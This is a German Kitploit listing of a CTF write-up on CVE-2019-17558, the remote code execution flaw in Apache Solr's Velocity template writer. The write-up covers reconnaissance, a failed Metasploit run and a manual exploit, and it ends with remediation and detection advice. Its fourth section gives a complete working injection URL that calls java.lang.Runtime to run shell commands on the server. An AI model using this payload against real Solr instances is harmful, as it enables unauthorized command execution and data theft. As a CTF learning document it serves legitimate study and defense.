Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2019-17558-apache-solr-rce — CTF-Write-up, das die Ausnutzung von CVE-2019-17558 in Apache Solr dokumentiert und Aufklärung, Einschränkungen von Metasploit, manuelle Velocity-Template-Injection, das Erbeuten der Flagge und Behebungsmaßnahmen abdeckt. | Kitploit
Tools/GitHubGitHub/rogerzeferino/cve-2019-17558-apache-solr-rce
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubrogerzeferino/cve-2019-17558-apache-solr-rce

cve-2019-17558-apache-solr-rce

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CTF-Write-up, das die Ausnutzung von CVE-2019-17558 in Apache Solr dokumentiert und Aufklärung, Einschränkungen von Metasploit, manuelle Velocity-Template-Injection, das Erbeuten der Flagge und Behebungsmaßnahmen abdeckt.

Repository anzeigen
13vor 1 MonatNoch nicht geprüft

Apache Solr RCE (CVE-2019-17558) - CTF Write-up

Praktische Ausnutzung einer Schwachstelle für Velocity Template Injection in Apache Solr, die von einem Fehler in einem automatisierten Tool (Metasploit) zu einer erfolgreichen manuellen Ausnutzung führt.

Dieser Write-up dokumentiert die vollständige Vorgehensweise der Übung, mit Fokus auf die Diagnose des Tool-Fehlers und den Wechsel zur manuellen Ausnutzung.

Szenario

ElementBeschreibung
ZielLinux-Server mit Apache Solr auf Port 8983
ZielsetzungInhalt einer sensiblen Datei lesen (/home/favorite_book.txt)
SchwachstelleCVE-2019-17558 (RCE via Velocity Response Writer)

1. Reconnaissance

Die Anfangsphase bestand in der Identifizierung aktiver Dienste auf dem Zielhost.

root@kitploit:~
nmap -sV -p- <TARGET_IP>

Ergebnisse.

  • Port 8983/tcp offen.
  • Dienst als Apache Solr identifiziert.
  • Core über das Web-Panel identifiziert, novacollection.

2. Analyse der Schwachstelle

Beim Zugriff auf das Administrations-Panel wurde bestätigt, dass die Solr-Version anfällig für Velocity Template Injection war.

Der Fehler tritt auf, wenn es dem Angreifer gelingt, die Konfiguration params.resource.loader.enabled auf true zu ändern. Dies ermöglicht die Verwendung benutzerdefinierter Velocity-Templates und damit die Ausführung beliebigen Java-Codes auf dem Server.

3. Automatisierte Ausnutzung (Metasploit)

Zunächst wurde das Modul exploit/multi/http/solr_velocity_rce verwendet.

Der Exploit konnte die Solr-Konfiguration erfolgreich ändern.

root@kitploit:~
[+] params.resource.loader.enabled is true for core 'novacollection'

Allerdings schlug die letzte Phase der Payload-Injektion mit einem Ruby-Ausführungsfehler fehl.

root@kitploit:~
NoMethodError: undefined method 'body' for nil:NilClass

Dies zeigte, dass die Umgebung zwar anfällig und bereits vorbereitet war, das Tool jedoch die Antwort des Servers nicht verarbeiten konnte, um den Angriff abzuschließen. Das Ziel war nicht sicher, nur die Zustellmethode des Moduls musste angepasst werden.

4. Manuelle Ausnutzung

Da der Velocity Writer von Metasploit bereits aktiviert worden war, wurde die Injektion manuell über eine HTTP-GET-Anfrage durchgeführt, wodurch der Skriptfehler umgangen wurde. Das Velocity-Template wurde so erstellt, dass es java.lang.Runtime instanziiert und den Befehl zum Lesen der Zieldatei ausführt.

root@kitploit:~
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Befehl, der tatsächlich auf dem Server ausgeführt wurde.

root@kitploit:~
cat /home/favorite_book.txt

5. Ergebnis

Die Injektion war erfolgreich und der Dateiinhalt wurde direkt im Hauptteil der HTTP-Antwort zurückgegeben, im Browser gerendert, wodurch die Flag erfasst werden konnte.

Erkenntnisse

  • Grenzen von Tools. Automatisierte Scanner und Exploits können aufgrund von Umgebungsbesonderheiten oder Fehlern im Modul selbst versagen.
  • Grundlagenwissen. Das Verständnis der Funktionsweise von CVE-2019-17558 ermöglichte den Wechsel von einem Tool-Fehler zu einem erfolgreichen manuellen Angriff.
  • Beharrlichkeit. Der Fehler NoMethodError bedeutete kein sicheres Ziel, sondern nur, dass die Zustellmethode angepasst werden musste.

Abhilfe

  • Apache Solr auf eine korrigierte Version aktualisieren (8.4 oder höher).
  • Sicherstellen, dass params.resource.loader.enabled deaktiviert bleibt.
  • Den Zugriff auf Port 8983 nur auf vertrauenswürdige Netzwerke beschränken und Solr niemals direkt dem Internet aussetzen.
  • Anfragen an den Endpunkt select mit den Parametern wt=velocity überwachen, nützlich als Erkennungssignatur im SIEM.

Referenzen

  • CVE-2019-17558 (NVD und offizielle Apache-Solr-Dokumentation).

Haftungsausschluss

Dieses Repository wurde für Bildungszwecke und zur Dokumentation des Lernens in einer kontrollierten Umgebung (CTF) erstellt. Verwenden Sie diese Techniken nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen